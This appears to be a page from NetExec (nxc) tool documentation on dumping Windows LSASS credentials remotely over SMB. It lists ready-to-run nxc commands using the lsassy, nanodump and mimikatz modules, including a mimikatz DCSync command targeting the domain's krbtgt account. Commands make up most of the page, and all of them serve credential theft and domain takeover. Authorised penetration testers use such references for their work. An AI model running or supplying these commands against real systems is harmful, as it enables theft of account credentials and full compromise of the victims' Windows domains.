Dump LSASS

Warning

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

Using Lsassy

Using the module Lsassy from @pixis , you can dump the credentials remotely

nxc smb <TARGET> -u <USERNAME> -p <PASSWORD> -M lsassy

Using nanodump

Using the module nanodump you can dump the credentials remotely

nxc smb <TARGET> -u <USERNAME> -p <PASSWORD> -M nanodump

Using Mimikatz (deprecated)

Warning

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

Using the Mimikatz module, the powershell script Invoke-Mimikatz.ps1 will be executed on the remote target

nxc smb <TARGET> -u <USERNAME> -p <PASSWORD> -M mimikatz
nxc smb <TARGET> -u <USERNAME> -p <PASSWORD> -M mimikatz -o COMMAND='"lsadump::dcsync /domain:domain.local /user:krbtgt"